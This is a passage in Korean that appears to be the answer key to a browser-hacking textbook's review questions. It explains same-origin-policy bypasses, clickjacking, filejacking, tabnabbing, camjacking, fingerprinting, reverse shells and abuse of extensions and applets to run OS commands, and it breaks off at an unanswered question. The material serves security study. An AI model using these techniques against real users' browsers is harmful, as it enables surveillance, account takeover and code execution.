2007년부터 적어도 버전 6.0.2까지의 Safari 브라우저는 `file:` 프로토콜을 이용해서 지역 파일에 접근할 때 SOP를 강제하지 않았다. 따라서 사용자가 `file:` 스킴을 이용해서 파일을 열도록 속일 수만 있다면, 공격자는 예를 들어 `XmlHttpReqest`를 이용해서 SOP의 제약 없이 다른 기원과 양방향 통신을 수행할 수 있게 된다.

6 최신 Adobe Reader SOP 우회 방법이 XML 외부 개체 취약점과 어떻게 관련이 있는지 설명하라.

CVE-2013-0622에 서술된 우회 방법은 외부 문서를 XML 구조에 내장하기 위한 수단인 XML 외부 개체(XML External Entity, XEE)를 이용한다. Java의 경우와 유사하게, 이 방법은 외부 개체가 참조하는 자원 자체가 아니라 그것의 재지정 출처가 기원으로 간주된다는 결함에 의존한다. 따라서 그냥 XML 문서에 외부 개체를 내장하기만 하면 임의의 기원의 자원을 적재할 수 있다(물론 HTTP 302 재지정 헤더가 관여하는 한다는 조건 하에서—공격자가 재지정을 사용하는 응용 프로그램을 완전히 통제할 것이므로 이는 만족하기가 아주 쉬운 조건이다).

7 클릭재킹의 예를 하나 서술하라.

클릭재킹은 UI 재치장 공격으로, IFrame을 이용해서 브라우저 사용자 인터페이스의 표현층과 기능층을 분리함으로써 사용자를 속인다. 흔히 쓰이는 방법은 IFrame으로 보이지 않는 요소를 다른 요소의 공간 위에 겹쳐서 다른 요소의 진짜 기능을 숨기고, 사용자가 그 기능을 자신도 모르게 활성화시키게 만드는 것이다. 이러한 공격은 브라우저의 보안 기능 때문에 사용자의 명시적인 상호작용이 없으면 특정 동작이 활성화되지 않는 경우가 있기 때문에 필요한 것이다. 이 질문의 답은 여러 가지인데, 이를테면 다른 어떤 기능(새 사용자를 생성한다거나 현재 패스워드를 공격자가 아는 값으로 변경하는 등)을 가진 버튼 위에 평범한 '로그아웃' 버튼을 겹쳐 놓는 것도 하나의 답이다. 예전에는 사용자가 특정 기원에 대해 마이크와 웹캠 접근(플래시를 이용한)을 허용하게 만드는 데에도 클릭재킹이 쓰였다.

8 파일재킹의 예를 하나 서술하라.

파일재킹은 브라우저가 호스트 컴퓨터의 파일 시스템에 직접 접근하는 능력을 악용한다. 파일재킹을 이용하면 공격자는 지역에서만 접근할 수 있는 파일의 내용을 추출해서 원격 서버에 보낼 수 있다. 파일재킹은 브라우저가 `input` 요소의 `directory` 특성과 `webkitdirectory` 특성을 지원해야 가능하다(이 글을 쓰는 현재 그런 브라우저는 Chrome뿐이다). 기본적으로 파일재킹은 UI 재치장 공격을 통해서 사용자를 속인다. 사용자는 자신이 파일을 내려받는다고 생각하지만, 실제로는 파일을 외부로 전송한다(업로드). 결과적으로 공격자는 사용자가 선택한 폴더 안의 임의의 파일에 접근할 수 있게 된다. 예를 들어 `webkitdirectory` 특성이 지정된 `input` 요소 위에 가짜 '내려받기' 버튼을 겹쳐서 파일재킹을 수행할 수 있다. 이러한 파일재킹을 피싱 등의 다른 공격과 결합하면 효과가 더욱 커진다.

9 브라우저 이력을 훔쳐보는 기법이 역사적으로 발전해 온 과정을 요약하고, 캐시 타이밍에 기초한 최신 공격 기법 하나를 서술하라.

브라우저의 이력에 대한 보안의 역사는 전반적인 컴퓨터 보안의 역사와 여러모로 비슷하다. 처음에는 브라우저 이력 기능이 친절하고 관대해서 누구나 접근하기 쉬웠다. 그러나 사람들이 이 기능의 잠재적인 오남용 방법을 깨닫게 되면서 추가적인 보안 수단이 구현되었다. 브라우저 이력 기능이 널리 쓰이면서, 이 기능을 활용한 고전적인 CSS 기반 공격 사례들이 등장했다. 그런 공격들은 CSS 스타일에 URL을 내장할 수 있다는 점을 이용해서 특정 사이트의 방문 여부를 소리 없이 원격 서버로 전송할 수 있었다. 이후에는 DOM의 유연성을 활용해서 JavaScript로 여러 시각적 문서 요소들의 상태를 조회하고 그 결과를 외부 서버에 전송하는 기법들도 등장했다. 캐시 타이밍 공격은 이미 캐시에 있는 자원을 적재하는 데 걸리는 시간과 그 자원을 원격에서 전송받는 데 걸리는 시간의 차이를 이용한다. 이 기법에서는 IFrame과 SOP의 보안 제약들이 오히려 도움이 된다. 만일 그런 제약이 없다면 어떤 항목이 캐시에 있는지를 판정하는 과정에서 캐시가 수정(그리고 오염)되어서 판정의 정확성이 떨어질 것이기 때문이다.

10 브라우저 고유 API를 분석하는 것이 왜 중요할까? Avant나 Maxthon 브라우저에 대한 그런 종류의 공격 방법 하나를 서술하라.

자신만의 고유한 기능을 구현하는 브라우저들이 많이 있다. 그런 기능이 경쟁 브라우저들과의 차별화에 도움이 될 수 있기 때문이다. 브라우저 API를 직접 분석하는 것이 중요한 것은, 브라우저 개발사가 제시한 문서에만 의존하는 비전문적인 접근방식에서는 숨겨진 또는 문서화되지 않은 기능을 발견할 수 없기 때문이다. 좋은 예로, 본문에서 언급한 Avant 브라우저에 대한 공격은 문서화되지 않은 JavaScript `AFRunCommand()` 함수에 비정상적인 값(구체적으로 말하면 60003)을 지정해서 호출함으로써 SOP를 우회해서 브라우저 전체 이력을 조회했다.

제5장

1 렌더링된 페이지 안의 HTML 내용을 변경하는 데 사용할 수 있는 JavaScript 메서드 또는 속성을 서술하라.

그런 메서드나 속성은 나열하기 힘들 정도로 많이 있지만, 아마도 사용하기가 가장 쉬운 것은 DOM의 모든 HTML 요소에 존재하는 innerHTML 속성일 것이다. 이 속성을 이용하면 요소의 HTML 내용에 직접 접근할 수 있으며, HTML 내용을 변경하면 그 효과가 현재 페이지에 즉시 반영된다. 그러한 과정을 jQuery를 이용해서 좀 더 간단하게 만드는 것도 가능하다.

2 마우스 클릭을 감지하려면 어떤 JavaScript 사건을 처리해야 하는가?

마우스 '클릭'에서 짐작했겠지만, 'click'이라는 사건에 대한 사건 처리부를 DOM의 요소에 등록하면 된다(이를테면 `addEventListener()`를 이용해서). 그러면 사용자가 마우스로 그 요소를 클릭할 때마다 해당 사건 처리부가 호출된다.

3 Internet Explorer에서 UI에 대한 기대를 악용하는 실질적인 예를 하나 서술하라.

이 질문이 의도한 답은 모들리스 알림 대화상자를 사용하는 것이다. 실행 파일을 내려받는 팝언더 창을 띄우되 보이지 않는 모들리스 알림에 입력 초점을 설정해서 R 키나 스페이스 바, Enter 키를 누르게 한다. 그 키 입력은 팝언더 창으로 가게 되며, 그러면 모들리스 알림 대화상자의 '실행' 버튼을 클릭한 것과 같은 효과가 생긴다(해당 버튼에 단축키가 설정되어 있으므로). 결과적으로 사용자는 자신도 모르게 웹에서 내려받은 실행 파일의 실행을 허락하게 된다.

4 전체화면 공격을 시도하려면 먼저 어떤 정보를 획득해야 하는가?

전경 IFrame을 이용해서 전체공격을 시도하는 경우에는 IFrame에 적재하고자 하는 내용이 실제로 완전히 적재되었는지 확인하는 것이 중요하다. 표시하고자 하는 내용에 제한적인 `X-Frame-Options` 헤더가 설정되어 있다면 이런 종류의 공격들을 수행하는 것이 불가능할 수 있다.

5 소프트웨어 갱신 요구 대화상자가 좋은 위조 대상인 이유는 무엇인가?

소프트웨어 갱신 요구 대화상자는 사용자에게 잘못된 보안 감각을 심어 줄 여지가 있다. 그런 대화상자는 그 특성상 사용자에게 좀 더 안전한 뭔가를 제공하는 듯한 느낌을 주기 때문에 사용자가 의심을 덜 하게 될 수 있다. 또한, 요즘 사용자들은 한 소프트웨어에 대한 갱신 요구를 여러 곳에서 자주 만나도 크게 개의치 않는 경향이 있다(대체로 그런 갱신 공정은 일방적이라 선택의 여지가 별로 없기 때문).

6 탭 낚아채기(tabnabbing) 공격을 적용할 수 있는 브라우저들은 무엇인가?

이름에서 짐작하겠지만 탭 낚아채기 공격은 탭을 사용하는 브라우저들(현세대 브라우저들은 모두는 아니더라도 대부분 탭을 사용한다)에 효과적이다. 개념은 간단하다. 공격자가 통제하는 탭에 일정 기간 아무런 활동이

없으면, 사용자가 그 페이지를 보고 있지 않으며 다른 어떤 탭을 활발하게 사용하고 있다는 가정하에서 재지정 명령을 이용해서 그 탭에 다른 사이트(공격자가 제어하는)를 적재한다. 이런 식으로 탭의 내용을 변경하면 사회공학 공격이 좀 더 쉬워진다. 사용자는 그 탭이 이미 자신이 방문한 곳이라고 간주하고(URL이나 기타 측면들을 확인하지도 않고) 안심할 것이기 때문이다.

7 Java 애플릿 실행의 장점과 한계를 서술하라. 서명된 애플릿과 서명되지 않은 애플릿 중 어떤 것이 더 좋은가?

Java 애플릿이 작동하면 브라우저에 대한 공격면이 증가한다. 이는 브라우저에게는 없는 특권들이 Java 애플릿에 주어지기 때문이다. 좀 더 구체적으로 말하면, 서명된 Java 애플릿은 운영체제 명령을 실행할 수 있으며 역 방식으로 외부 서버와 연결해서 자료를 전송할 수 있다. 서명된 Java 애플릿은 서명되지 않은 애플릿보다 훨씬 우월하다. 서명되지 않은 애플릿에는 유효한 코드 인증서가 없기 때문에 애플릿이 실행되려면 사용자가 명시적으로 대화상자의 버튼을 클릭해야 한다. 이 때문에 서명되지 않은 애플릿을 이용한 공격에서는 UI 재치장 공격 등의 추가적인 수단을 도입해야 해서 상황이 복잡해질 수 있다. Firefox 버전 26에서부터는 최신 버전의 Flash를 제외한 모든 플러그인(서명 여부와 무관하게)에 대해 '클릭해서 실행' 대화상자가 나타난다. 마지막으로, Java 1.7 업데이트 51에서부터 오라클은 서명되지 않은 애플릿과 자체 서명된 애플릿의 실행을 허용하지 않고 오직 유효한 인증서로 서명된 애플릿만 실행을 허용하기로 했다(그러나 본격적인 공격자라면 유효한 인증서를 구입하는 것이 그리 어렵지 않은 일이다). 현세대 브라우저들의 이러한 보안 수단들 때문에, 공격 매개체로서의 애플릿의 유용함은 줄어드는 추세이다.

8 브라우저가 Tor를 사용하는지 파악할 때 요청할 수 있는 자원들은 무엇인가?

Tor 네트워크는 다양한 숨겨진 자원들을 유사 최상위 도메인 .onion과 함께 제공한다. 따라서 Tor 네트워크 안에서만 사용할 수 있다고 알려진 자원(이를테면 `http://xycpusearchon2mc.onion/deeplogo.jpg`)을 요청해 보면 Tor의 활성화 여부를 손쉽게 확인할 수 있다. 이런 자원에 대한 요청이 성공한다면 브라우저가 Tor에 연결되어 있는 것이고, 실패한다면 연결되어 있지 않은 것이다.

9 브라우저로 음향을 녹음하고자 할 때 반드시 만족해야 하는 조건은 무엇인가?

특권이 필요한 다른 여러 기능들과 마찬가지로, 현세대 브라우저들의 코드에는 사용자 인터페이스의 허용에 관한 제약이 심어져 있다. 그래서 녹음을 위해서는 사회공학이나 UI 재치장 공격(본문의 Flash 설정 관리자에 대한 클릭재킹과 캠재킹 공격에 관한 논의를 참고할 것) 또는 그와 비슷한 공격을 이용해서 사용자가 마이크를 활성화하도록 속일 필요가 있다.

10 캠재킹 공격이란 무엇인가?

캠재킹 공격은 Flash 안에서 구현되는 클릭재킹 공격의 변종이다. 이 공격에서는 한 Flash 객체 안에 보이지 않는 Flash 객체를 겹쳐서 실제 경고 메시지를 가리고 다른 내용을 표시한다. 그러면 사용자는 의도치 않게 카메라 사용을 허락하는 버튼을 클릭하게 된다.

제6장

1 DOM 속성을 이용한 지문 인식이 User-Agent 헤더를 이용한 지문 인식보다 더 믿을 만한 이유는 무엇인가?

User-Agent 헤더는 임의의 텍스트 문자열로 된 한 조각의 정보일 뿐이기 때문에 전송 도중 얼마든지 변조될 수 있다(이를테면 업스트림 프록시 서버에 의해). DOM 속성을 이용할 때에는 속성 조회가 브라우저 안에서 직접 이루어지므로 변조하기가 약간 더 어렵고, 좀 더 복잡한 과정이 필요하다. 따라서 일반화된 버전 이름표를 읽는 것보다는 좀 더 믿을 만하고 정밀한 지문인식이 가능해진다. 최상의 지문 인식 결과는 User-Agent와 DOM 속성, 그리고 브라우저 버그나 기벽(quirk)의 조합으로 얻을 수 있을 것이다.

2 존재하는 DOM 속성을 이중으로 부정한 결과는 무엇인가? 예를 들어 `!!window`의 결과는?

속성이 존재하는 경우 이중 부정의 결과는 `true`이다(`true`의 부정은 `false`이고 그것의 부정은 `true`이므로). 이중 부정은 어떤 값을 암묵적으로 부울 값으로 캐스팅하는 우아하고 편리한 방법이기도 하다.

3 널 값에 대한 이중 부정의 결과는 무엇인가? 예를 들어 `!!null`은?

`false`이다. 널의 부정은 `true`이고, 그것을 다시 부정하면 `false`가 된다.

4 JavaScript 암호화가 얼마나 효과적인가?

JavaScript 암호화는 역공학자(reverse engineer) 지망생에게는 확실히 골칫거리이지만, 단지 시간을 끄는 수단일 뿐 궁극적으로 코드의 본성을 숨기는 데에는 전혀 효과적이지 않다. JavaScript 암호화는 은폐를 통한 보안의 일종이다. 주말 해커들을 단념시키는 데에는 충분히 효과가 있을 수도 있지만 결연한 공격자에게는 그렇지 않다. 실행 및 다른 소프트웨어 구성요소와의 향후 상호작용을 통해서 코드의 정체를 밝혀 나가는 코드의 시간 재구축(time reconstruction)이 사실상 가능하기 때문이다. 어차피 브라우저는 암호화를 수행하는 모든 코드에 접근해야 하며, 따라서 공격자 역시 코드의 필요한 모든 논리에 접근해서 조작할 수 있게 된다.

5 브라우저의 언어를 알아내면 좋은 점이 무엇인가?

브라우저의 버전이 높아지면서 JavaScript 언어 구현에 새로운 구성요소가 추가되기 마련이다. 특정 버전에서 도입된 것으로 알려진 몇몇 속성 또는 함수의 존재 여부를 간단히 점검해보면 브라우저의 구체적인 버전을 비교적 정확하게 알아낼 수 있다. 점검하는 항목이 많을수록 결과가 더 정확해진다.

6 웹 브라우저의 기벽들이 지문 인식에 어떻게 도움이 되는가?

웹 브라우저의 기벽(quirk)들을 이용하면 실행 중인 브라우저의 종류를(때에 따라서는 구체적인 버전까지도) 아주 빠르게 파악할 수 있다. 잘 알려져 있지 않거나 고유한 기벽들을 이용하면 정확한 판정이 가능하다. 또한, 대부분의 경우 특정 기벽의 존재 여부에 대한 간단한 부울 판정만으로도 실행 시점 환경의 특성에 관련된 세부사항을 추론할 수 있다. User-Agent나 DOM 속성보다 변조하기가 훨씬 어렵다는 장점도 있다.

7 JavaScript가 쿠키에 접근하지 못하게 하고, 쿠키가 오직 웹 사이트의 보안 버전으로만 전달되도록 쿠키를 설정하려면?

쿠키의 주된 보안 플래그로는 `secure`와 `HttpOnly`가 있다. 전자는 통신 채널이 암호화된 경우에만(즉, `https` 스킴을 사용하는 기원에게만) 쿠키를 보내라고 브라우저에 지시하는 역할을 한다. 후자는 JavaScript에서 쿠키에 접근하지 못하게 한다. 두 플래그 모두 설정되어 있으면 단순한(SSL 중간자 공격을 사용하지 않는) 네트워크 도청으로는 쿠키를 오염시킬 수 없으며, DOM에서 `console.log(document.cookie)` 같은 스크립트를 실행해서 쿠키를 획득하는 것도 불가능하다. 그래도 `HttpOnly` 쿠키를 악용하는 것이 가능한 상황이 존재한다. 세션 올라타기(웹 응용 프로그램에 XSS 취약점이 존재하는 경우)를 이용한 방법이 본문에 나와 있다.

8 SSL 인증서에 대한 널 문자 공격의 작동 방식을 설명하라.

널 문자를 문자열의 끝을 나타내는 데 사용하는 컴파일 방식 언어들(C, C++ 등)이 많이 있다. 문자열 기반 입력을 처리하는 프로그램 중 그런 언어로 작성된 프로그램들은 널 문자를 만나야 문자열이 끝난 것으로 간주할 확률이 높다. 널 문자 공격은 이러한 행동 방식을 이용해서 브라우저의 SSL 유효성 점검 과정을 우회한다. 이런 우회가 가능한 것은 특정 인증서 등록 기관이 중간에 널 문자가 포함된 SLL 인증서를 허용하고 발행하지만, 브라우저는 그런 널 문자가 없다는 가정을 두고 만들어졌기 때문이다. 인증서 문자열 안에 널 문자를 교묘하게 배치해서 브라우저가 그 문자열을 잘못 해석하게 만들면, 원래 서명된 것과는 다른 어떤 도메인에 대해 인증서가 유효하다고 오판하게 만들 수 있다.

9 Metasploit의 바인드 방식 셸과 역 방식 셸의 차이점은 무엇인가?

주된 차이는 셸과의 연결 방향이다. 바인드 방식 셸은 오염된(셸이 심어진) 시스템에서 포트를 열어서 묶는다(바인드). 그러면 공격자가 자신의 소켓에서 그 포트에 연결한다. 반면, 역 방식 셸은 방향이 반대이다. 역 방식 셸은 자신이 포트를 여는 대신 외부의 다른 포트에 연결을 시도한다. 따라서 공격자는 미리 정해진 주소에 포트를 열어 두고 셸의 연결을 기다려야 한다.

10 BeEF는 Metasploit와 어떻게 통신하는가?

둘은 Metasploit의 MSGRPC 인터페이스를 이용해서 통신한다. 이것은 다른 프로그램들이 Metasploit의 기능과 상호작용할 수 있게 하기 위해 마련된 Metasploit의 원격 프로시저 호출(remote procedure call, RPC) 인터페이스이다. 이를 통해서, 생성된 셸과의 상호작용을 제외한 모든 기능을 BeEF 콘솔에서 관리할 수 있다.

제7장

1 Chrome과 Firefox의 확장 기능 보안 모형을 비교하라.

Firefox에는 접근 수준이라는 개념이 없어서 모든 확장 기능에게 모든 권한을 부여한다. 반면 Chrome은 여러 가지 보안 수준을 구현한다. 이러한 분리는 Chrome의 '격리된 세계' 개념에도 존재한다. Chrome은 확장 기능의 서로 다른 성격의 스크립트들에 각각 고유한 자료 저장소를 부여함으로써 스크립트들을 서로 격리시킨다. Firefox와 Chrome 모두 특권 있는 `chrome://` 영역(브라우저의 모든 측면에 접근할 수 있는)을 구현한다. 종합해서 볼 때 두 브라우저에서 확장 기능이 보안에 미치는 영향은 대체로 비슷하다. 두 브라우저 모두, 확장 기능이 브라우저의 여러 핵심 기능들에 깊숙하게 접근할 수 있게 하기 때문이다. 주된 차이점 하나는 Firefox에서는 악성 확장 기능이 운영체제의 명령을 실행하는 것이 어렵지 않지만, Chrome에서는 NPAPI를 사용하지 않는 한 악성 확장 기능이 운영체제의 명령을 실행할 수 없다는 것이다.

2 효과적인 확장 기능 지문 인식 방법을 제시하라.

확장 기능의 지문 인식 방법은 여러 가지이다. 확장 기능에 관련된 HTTP 헤더의 기벽을 활용할 수도 있고(단, 상황에 따라서는 이 방법이 외부의 영향을 받을 수 있다), DOM의 기벽을 이용하거나 매니페스트를 이용할 수도 있다.

3 `chrome://` 영역이 무엇이고 왜 중요한가?

`chrome://` 영역은 특권 있는 영역으로, 여기에서는 확장 기능이 브라우저가 제공하는 모든 기능을 사용할 수 있다. 공격자의 관점에서 중요한 것은, 만일 `chrome://` 영역에 접근해서 조작할 수 있다면(이를테면 확장 기능의 결함을 악용해서) 브라우저 확장 기능의 인터페이스에 대한 최대의 제어권을 얻는 것이 가능하다는 점이다.

4 브라우저 확장 기능에 CSP가 어떻게 적용되는가?

브라우저 확장 기능에 적용되는 CSP(내용 보안 정책)는 확장 기능에 보안상의 제약을 가하기 위한 것이다. Chrome은 CSP를 이용해서 확장 기능이 접근할 수 있는 자원을 제한한다. 따라서 확장 기능이 오염되어서 악의적인 작업을 시도한다고 해도, 공격자가 수행할 수 있는 행동은 여전히 CSP에 의해 제한된다. 개념적으로 CSP는 모래상자라고 할 수 있다. Chrome에서 특히 중요한 점은 내용 스크립트에는 CSP가 적용되지 않는다는 점이다. DOM에 접근할 수 있으며 CSP가 적용되지 않기 때문에 내용 스크립트는 공격에 특히나 취약하다.

5 브라우저 확장 기능에 SOP가 어떻게 적용되는가?

확장 기능은 크게 두 가지 영역에서 실행된다. 하나는 낮은 특권을 가진 인터넷 영역이고 또 하나는 높은 특권을 가진 브라우저 영역(또는 `chrome://` 영역)이다. 자신의 기능을 제공하기 위해 브라우저는 확장 기능들에게 API들을 노출하는데, 브라우저 수준의 API는 물론 OS 수준의 API도 노출하곤 한다. 확장 기능이 필요 이상의 특권을 가지는 경우가 많다. 낮은 특권의 인터넷 영역은 SOP에 제한을 받는다. JavaScript 코드는 바로 이 인터넷 영역에서 실행된다. 반면 확장 기능은 특권 있는 `chrome://` 영역에서 실행된다. 이 영역 안에서 확장 기능은 좀 더 민감한 정보와 특권 있는 API들에 접근할 수 있으며, SOP의 제약에서도 벗어난다.

6 Firefox 확장 기능에서 운영체제의 명령들을 실행하려면?

XPCOM(Cross Platform Component Object Model) API를 이용하면 된다. `Components.interfaces.nsILocalFile`과 `Components.interfaces.nsIProcess`를 함께 사용하면 지역 파일 시스템의 파일을 프로세스에 연관시켜서 실행하는 것이 가능하다. 따라서 확장 기능의 .xpi 압축파일 안에 악성 프로그램의 실행 파일을 내장해 두고 확장 기능이 설치, 실행되는 즉시 확장 기능의 코드를 통해서 그 실행 파일이 실행되게 만들 수 있다.

7 Chrome 확장 기능에서 운영체제의 명령들을 실행하려면?

Chrome은 NPAPI(Netscape Plugin Application Programming Interface)를 구현한다. 이 API는 운영체제 명령을 실행하는 특권을 가지고 있으며 Chrome의 모래상자에 갇히지도 않는다. Chromium 팀은 2014년 이후에는 Chrome의 NPAPI 지원이 점차 중단될 것이라고 공표했다.

8 내용 스크립트가 가진 특권들은 무엇인가?

내용 스크립트는 DOM의 모든 것에 접근할 수 있지만 SOP의 제약을 받으며, 페이지 스크립트와는 상호작용하지 못하는 등의 한계를 가지고 있다. 그러나 내용 스크립트는 CSP(내용 보안 정책)의 제약을 받지 않으며 브라우저가 방문한 웹 페이지의 문맥에 한해서는 완전한 특권을 가진다. 이 때문에 내용 스크립트는 매력적인 공격 대상이다.

9 배경 페이지가 가진 특권들은 무엇인가?

배경 페이지는 CSP의 제약을 받는다. 따라서 확장 기능이 가진 특권들은 매니페스트의 설정에 따라 상당히 다를 수 있다. 그러나 배경 페이지는 특권 있는 영역에서 실행되는 것으로 간주되므로 잠재적으로 확장 기능의 모든 기능에 접근할 수 있다. 특히 배경 페이지에서 NPAPI에 접근할 수 있으므로 잠재적으로 운영체제의 명령을 실행하는 것도 가능하다. 한 가지 기억해야 할 중요한 점은, 배경 페이지가 내용 스크립트와 직접 상호작용할 수 없다는 것이다. 오직 메시지 전달을 통해서만 상호작용할 수 있다.

10 Firefox 확장 기능이 가진 특권들은 무엇인가?

Firefox 확장 기능의 보안 모형은 평평하다. 따라서 Firefox 확장 기능은 사실상 브라우저 프로세스와 동일한 특권들을 가진다. 그래서 Firefox 확장 기능은 공격자에게 특히나 매력적인 대상이다.

제8장

1 플러그인과 부가 기능은 어떻게 다른가?

부가 기능(add-on)이나 확장 기능은 브라우저의 기능성을 확장하며 주로 브라우저가 관리하는 다른 영역 안에서(이를테면 JavaScript) 쓰인다는 점에서 플러그인과 다르다. 부가 기능 또는 확장 기능은 이름 그대로 브라우저의 기존 기능 집합을 확장한다. 반면 플러그인은 브라우저와 연동되는 외부 프로그램으로, 브라우저를 확장하지는 않는다. 플러그인은 HTTP 헤더로 지정되었거나 페이지 내용에 포함된 개별적이고 구체적인 종류의 객체 또는 MIME 형식 자원을 처리하는 데 주로 쓰일 뿐, DOM이나 브라우저와 밀접하게 연관되어서 작동하지는 않는다.

2 Internet Explorer에서 플러그인들을 검출하는 효율적인 방법을 설명하라.

특정 플러그인을 위한 ActiveX 객체를 인스턴스화했을 때 유효한 객체가 반환되었다면 해당 플러그인이 설치, 활성화된 것이다. 특정한 하나의 플러그인만을 대상으로 한 공격이 아닌 경우에는 다수의 ActiveX 객체들을 인스턴스화해보아야 한다. 이러한 기법은 인기 있고 알려진 플러그인들에 대해서는 효과적이지만, 별로 쓰이지 않거나 커스텀화된 플러그인이 존재하는 경우에는 그리 효과적이지 않다. 또한 Internet Explorer의 최근 버전들에서는 Flash처럼 흔히 쓰이는 플러그인들의 목록(화이트리스트)을 마련해 두고, 그 목록에 없는 덜 유명한 플러그인에 접근(지문인식도 포함)할 때에는 사용자에게 경고를 표시한다.

3 Firefox에서 플러그인들을 검출하는 효율적인 방법을 설명하라.

Firefox는 DOM을 통해서 `navigator.plugins` 객체를 제공한다. 이 객체를 이용하면 설치된 플러그인들의 목록을 얻을 수 있다. 미리 정해 둔 몇 가지 플러그인들을 일일이 점검할 필요 없이 현재 설치된 모든 플러그인의 목록을 바로 얻을 수 있다는 점에서, 이 방법은 Internet Explorer의 플러그인 검출 방법보다 훨씬 효율적이다.

4 웹 브라우저가 사용할 플러그인을 선택하는 방법을 설명하라.

브라우저는 HTTP 헤더 `Content-Type`에 지정되어 있는 서버 응답의 MIME 형식 또는 HTML 요소 `<object>`나 `<embed>`의 특정 특성에 지정되어 있는 객체의 형식(종류)을 인식해서 그 형식에 맞는 플러그인을 선택한다. Java의 경우 Firefox에서는 특정 JRE(Java Runtime Environment)를 지정하는 것도 가능하다. HTML `<embed>` 요소의 특정 특성에 해당 버전 정보를 지정하면 된다.

5 악용의 여지가 있는 서명된 애플릿의 특징을 말하라.

서명된 애플릿은 모래상자와 관련해서 더 많은 권한을 가지며, 코드를 덜 제한된 방식으로 실행할 수 있다. 이 때문에 서명된 애플릿은 보안의 관점에서 볼 때 서명되지 않은 애플릿보다 더 위험할 수 있으며, 따라서 악용 시도의 잠재적인 대상이 된다. 역공학으로 애플릿의 Java 소스 코드를 얻어서 분석해 보면, 입력 처리가 느슨해서 악용이 가능한 입력 매개변수를 발견할 가능성이 있다. 예를 들어 서명된 애플릿에 운영체제 명령을 수행하는 논리가 존재하며 그 논리에 대한 입력을 오염시킬 수 있다면 공격자는 이를 악용해서 임의의 운영체제 명령을 실행할 수 있게 된다. 애플릿이 서명되었다고 해서 그런 공격이 저절로 방지되는 것은 아니다.

6 응용 프로그램이 서명된 애플릿의 허용 모형을 재정의하는 이유는 무엇인가?

애플릿에서 기본 보안 관리자(`SecurityManager` 클래스)를 재정의해서 권한 제약을 느슨하게 만들면 이전에는 제한되었던 추가적인 기능성에 접근할 수 있게 된다. 권한 모형을 그런 식으로 재정의하지 않은 상태에서 애플릿이 특정 권한을 요구하는 기능(운영체제 명령 실행 등)에 접근하려 하면 보안 예외가 발생한다.

7 서명되지 않은 Java 애플릿이 운영체제의 명령을 실행할 수 있는가?

서명되지 않은 Java 애플릿은 기본적으로 모래상자 안에서 실행되므로, 모래상자를 우회하지 않고서는 운영체제의 명령에 접근할 수 없다. 서명되지 않은 애플릿에서 모래상자를 우회해서 운영체제 명령을 실행하는 사례를 본문에서 논의했다. 단, 본문에서 말했듯이 Java 1.7 업데이트 11부터는 서명되지 않은 애플릿에도 '클릭해서 실행'이 적용된다.

8 Flash 자료를 저장한 사이트들을 알아내는 방법 두 가지를 말하라.

Flash 자료는 브라우저 안에서 공유 객체를 통해 접근할 수 있으며, 지역 파일시스템 접근 기능을 이용해서 호스트 운영체제의 해당 폴더에서 접근할 수도 있다. Mac의 경우 해당 폴더는 `Library/Preferences/Macromedia/Flash Player/#SharedObjects/`이고, Windows는 `C:\Documents and Settings\[사용자이름]\Application Data\Macromedia\Flash Player`이다.

9 Flash에서 웹캠에 접근할 수 있도록 설정되어 있는지 알아내는 방법은?

Flash 애플릿을 오른쪽 클릭해서 '설정'을 선택하면 웹캠 허용 여부를 알 수 있다.

10 기업 환경에서 지역 파일 실행 취약점이 큰 문제가 되는 이유는?

기업 환경에서는 사용자가 기업 도메인에 로그인하면 자동으로 설정되는 기업 파일 공유 디렉터리에 파일들을 두고 사용하는 경우가 많기 때문이다. 이 덕분에 공격자는 보통의 개인용 워크스테이션보다 훨씬 많고 다양한 자료 파일들과 실행 파일들에 접근할 수 있게 된다.

제9장

1 예비 요청(preflight request)이란 무엇인가?

예비 요청은 CORS(Cross-Origin Resource Sharing) 요청 이전에 전송되는 요청으로, 주 요청의 전제조건을 점검하기 위한 것이다. 요청이 교차 기원이고 `Content-Type`이 `application/x-www-form-urlencoded`나 `multipart/form-data`, `text/plain` 이외의 것이면 대상에게 예비 요청이 전송된다. 요청을 보내는 기원이 해당 대상과 통신할 수 있는지 확인하려면 이러한 예비 요청이 필요하다.

2 교차 기원 웹 응용 프로그램 지문 인식은 어떤 식으로 작동하는가? 그런 지문 인식이 SOP를 지킬까, 아니면 위반할까?

교차 기원 지문 인식은 다른 기원에 있는 이미지나 스크립트 요소 또는 웹 페이지를 내장하는 능력에 의존한다. 그러한 내장은 웹 응용 프로그램에 필요한 기능이며, 그래서 SOP는 이를 금지하지 않는다. 이를 이용해서 원격 사이트의 특정 페이지를 IFrame으로 적재하거나 원격 사이트의 특정 스크립트 또는 이미지를 현재 페이지에 내장하고 해당 요소의 적재 여부 또는 특정 속성을 점검함으로써 해당 웹 응용 프로그램의 종류와 버전을 식별할 수 있다.

3 새 도메인을 맹목적으로(응답을 읽지 않고) 후킹하려면? 구체적인 예를 통해서 설명하라.

맹목적 후킹은 SOP를 위반하지 않고도 임의의 대상에 대해 요청을 보낼 수 있다는 사실을 활용한다. 종종 요청에 대한 응답을 읽지 않고도 원하는 결과를 얻을 수 있는 경우가 있다. 예를 들어 잘 만들어진 요청을 웹 응용 프로그램의 취약한 구성요소에 보내서(응답은 읽을 필요 없이) 인증을 통과하거나 특정 보안 취약점을 발동시키는 것이 가능하다.

4 사용자가 웹 응용 프로그램에 로그인되어 있는지를 SOP를 지키면서 검출하는 방법이 있는가?

가능한 기법이 몇 가지 있다. 최선의 기법은 인증되지 않은 문맥에서 인증이 필요한 자원이 요청된 경우 오류 코드를 반환하는 응용 프로그램들이 많다는 사실에 의존한다. 교차 기원에 요청을 보내는 것 자체는 SOP의 위반이 아니다(응답을 읽을 수는 없다고 해도). 그리고 요청의 응답 코드에 따라 JavaScript의 `onload` 사건이나 `onerror` 사건이 발생하므로, 이를 통해서 로그인 여부를 추론할 수 있다. 그 외의 기법들도 개발되었는데, 이를테면 시간 측정을 이용한 기법이 있다. 사용자가 인증된 상태이면 오류 코드가 아니라 실제 내용이 전송될 것이므로 응답을 적재하는 데 시간이 더 걸릴 것이라는 가정하에서 적재 시간을 측정해 보면 된다.

5 XSRF 취약점과 교차 도메인 요청을 결합했을 때 파괴적인 결과가 발생할 수 있는 이유는 무엇인가? 의사난수 XSRF 방지 토큰이 그런 위험을 어떻게 완화하는가?

